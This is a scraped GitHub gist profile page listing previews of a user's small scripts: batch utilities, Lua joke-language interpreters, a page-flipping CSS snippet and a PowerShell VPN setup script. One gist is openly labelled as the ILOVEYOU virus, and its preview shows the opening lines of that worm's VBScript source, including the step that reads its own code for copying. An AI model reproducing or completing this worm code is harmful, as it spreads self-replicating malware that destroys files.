Skip to content

Instantly share code, notes, and snippets.

Avatar
🙃
<- fuckign face

Vichy tnhung2011

🙃
<- fuckign face
View GitHub Profile
View robloxpath.bat
@echo off
for /F "skip=2 tokens=3*" %%A in ('reg query "HKCU\Software\ROBLOX Corporation\Environments\roblox-player" /ve') DO (set robloxpath=%%A)
setlocal DisableDelayedExpansion
set splitter=\RobloxPlayerLauncher.exe
setlocal EnableDelayedExpansion
set LF=^
rem ** Two empty lines are required
@tnhung2011
tnhung2011 / taskkiller.bat
Created August 29, 2022 01:05
A simple batch script to terminate background tasks
View taskkiller.bat
@echo off
set args=%*
if [%args%] EQU [] (
tasklist
set /p args=Taskname to kill:^
)
taskkill /f /im %args%
@tnhung2011
tnhung2011 / unc.lua
Last active August 15, 2022 04:22
ↄ is a language made up of all the programs that fail to compile as C programs. Depending on the line(s) of code that fails to compile as C, a different ↄ command is written. Most C programs have spent at least some time as ↄ programs in development. ↄ is one of the most widely used languages in the world, even if not even a single program has y…
View unc.lua
if package.config:sub(1,1) == '\\' then os.exit(print('unc: !: the windows version of the un-c compiler isn\'t implemented (yet)')) end -- Linux and macOS users only
function starts_with(str, start)
return start == false or str:sub(1, #start) == start
end
function ends_with(str, ending)
return ending == false or str:sub(-#ending) == ending
end
@tnhung2011
tnhung2011 / APLIAFCLDTCITAMPAC.lua
Last active August 14, 2022 10:16
Simple implementation of the "A programming language is any set of rules that converts strings, or graphical program elements in the case of visual programming languages, to various kinds of machine code output." (abbreviated Programming Language or APLIAFCLDTCITAMPAC) programming language.
View APLIAFCLDTCITAMPAC.lua
valid_string = 'A programming language is any set of rules that converts strings, or graphical program elements in the case of visual programming languages, to various kinds of machine code output.'
function file_exists(file)
local f = io.open(file, 'rb')
if f then f:close() end
return f ~= nil
end
function parse(command)
if command == valid_string then
@tnhung2011
tnhung2011 / LOVE-LETTER-FOR-YOU.TXT.vbs
Created August 10, 2022 01:08
The "ILOVEYOU" virus (https://en.wikipedia.org/wiki/ILOVEYOU) from the 2000s, don't even try to run it.
View LOVE-LETTER-FOR-YOU.TXT.vbs
rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
@tnhung2011
tnhung2011 / flippingpage.css
Last active February 13, 2022 01:09
Flip/mirror the whole page - it's a bit buggy especially when you're editing (CSS3's new feature)
View flippingpage.css
/*credits: https://stackoverflow.com/a/14194532/17023061*/ body { -moz-transform: scaleX(-1); -o-transform: scaleX(-1); -webkit-transform: scaleX(-1); transform: scaleX(-1); filter: FlipH; -ms-filter: "FlipH"; }
@tnhung2011
tnhung2011 / Vichy's GitHub Stats
Last active April 11, 2022 18:20
tnhung2011's GitHub Stats
View Vichy's GitHub Stats
⭐ Total Stars: 0
➕ Total Commits: 109
🔀 Total PRs: 26
🚩 Total Issues: 12
📦 Contributed to: 23
@tnhung2011
tnhung2011 / CreateSystemVPN.ps1
Last active February 6, 2022 02:58 — forked from bytespec/CreateSystemVPN.ps1
Example PowerShell code to create a system (all users) SSTP VPN. Use a .cmd file as a launcher within a .scapp file for an almost-one-click deploying via Screen Connect's Toolbox in Backstage mode.
View CreateSystemVPN.ps1
# (a fork of https://gist.github.com/bytespec/862c8f370d6018c76d6122ca423c16cf)
# Parameter defaults
param(
[Parameter()]
[String]$VPN_NAME = 0
[String]$SERVER = 0
[String]$SPLIT = $false
[String[]]$ROUTES = 0 # Empty or set $SPLIT to false to disable tunneling
[String]$USER = 0
@tnhung2011
tnhung2011 / reexplorer.bat
Last active November 17, 2022 14:21
ReExplorer: Restart explorer.exe
View reexplorer.bat
@echo off
echo [+] Restarting explorer.exe...
taskkill /f /im explorer.exe >nul
timeout 2 >nul
start %systemroot%\explorer.exe
echo [+] Starting explorer.exe...
set /p _p=